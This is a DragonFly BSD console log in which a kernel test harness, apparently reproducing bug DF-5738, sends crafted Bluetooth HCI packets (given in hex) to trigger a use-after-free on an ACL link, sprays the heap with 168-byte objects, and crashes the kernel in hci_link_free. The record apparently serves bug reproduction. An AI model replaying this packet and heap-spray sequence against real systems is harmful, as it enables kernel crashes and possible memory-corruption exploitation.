swap low/high-water marks set to 41940/62910
swapon: adding /dev/vbd0s1b as swap device
NFS CLIENT: access_cache_timeout=5 neg_cache_timeout=3.
Starting local daemons:.
Updating motd.
Configuring syscons: blanktime.
Starting sshd.
sendmail_submit: /etc/mail/aliases.db not present,  generating
sendmail_clientmqueue: /etc/mail/aliases.db not present,  generating
Starting cron.
Local package initialization:.

Sat Oct 10 23:32:23 UTC 2026


DragonFly/x86_64 (dfbsd) (ttyd0)



login: [harness] hci_link_harness loaded: hlh_setup, hlh_sco_anchor, hlh_fire_discon, hlh_uaf, hlh_race_arm, hlh_race_discon, hlh_race_frag, hlh_state
[harness] === setup: attach unit + ACL link #5 (OPEN) ===
[harness] unit 0xfffff801168abda0 ACL link 0xfffff8008fa92240 handle #5 refcnt=0 links=1
[harness] === DF-5738 setup: Connection_Request(SCO) for bdaddr of OPEN ACL link #5 ===
[harness] production path: hci_event_con_req() -> hci_sco_newconn() -> hci_acl_open() takes anchor ref
[harness] <- Connection_Request(SCO) (13 bytes): 04 04 0a 11 22 33 44 55 66 22 22 22 00
[harness] after SCO anchor: ACL link #5 hl_refcnt=1 (anchor only, no L2CAP channels), unit links=2, sco_newconn=1
[harness] EXPECT hl_refcnt == 1: the SCO link's hci_acl_open() reference (hci_link.c:810)
[harness] === DF-5738 control: SCO-first ordering (what hci_cmd_reset assumes) ===
[harness] <- Connection_Complete(SCO handle 9) (14 bytes): 04 03 0b 00 09 00 11 22 33 44 55 66 00 00
[harness] <- Disconnect_Complete(handle 9) (7 bytes): 04 05 04 00 09 00 13
[harness] SCO-first control done: ACL refcnt=0 links=1 sco_disconnected=1 (clean, no panic)
[harness] state: unit links=1
[harness]  link 0xfffff8008fa92240 type=1 state=5 handle=5 refcnt=0 txqlen=0 rxp=0
[harness] sco_newconn=1 sco_disconnected=1 cmds_sent=1
[harness] === DF-5738 UAF sequence (offsetof(hl_refcnt)=38, sizeof(hci_link)=168) ===
[harness] <- Connection_Request(SCO) (13 bytes): 04 04 0a 11 22 33 44 55 66 22 22 22 00
[harness] 1) anchored: ACL#5 refcnt=1 links=2
[harness]    SCO link 0xfffff8004f20a7e0 pcb 0xfffff8008976ba40 hl_link=0xfffff8008fa92240 (== ACL#5)
[harness] <- Disconnect_Complete(5) (7 bytes): 04 05 04 00 05 00 13
[harness] 2) ACL#5 freed: links=1 (SCO still holds hl_link=0xfffff8008fa92240 -- DANGLING)
[harness] 3) sprayed 256 x 168-byte objects (0xa5)
[harness] <- Connection_Complete(SCO 9) (14 bytes): 04 03 0b 00 09 00 11 22 33 44 55 66 00 00
[harness] <- Disconnect_Complete(9) (7 bytes): 04 05 04 00 09 00 13


Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address	= 0x78
fault code		= supervisor write data, page not present
instruction pointer	= 0x8:0xffffffff82602ffb
stack pointer	        = 0x10:0xfffff8008d1f8940
frame pointer	        = 0x10:0xfffff8008d1f8960
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= Idle
current thread          = pri 12 (CRIT)
kernel: type 12 trap, code=2

CPU0 stopping CPUs: 0x0000003e
 stopped
Stopped at      hci_link_free+0x2cb:    movq    %rdx,0x78(%rax)
db>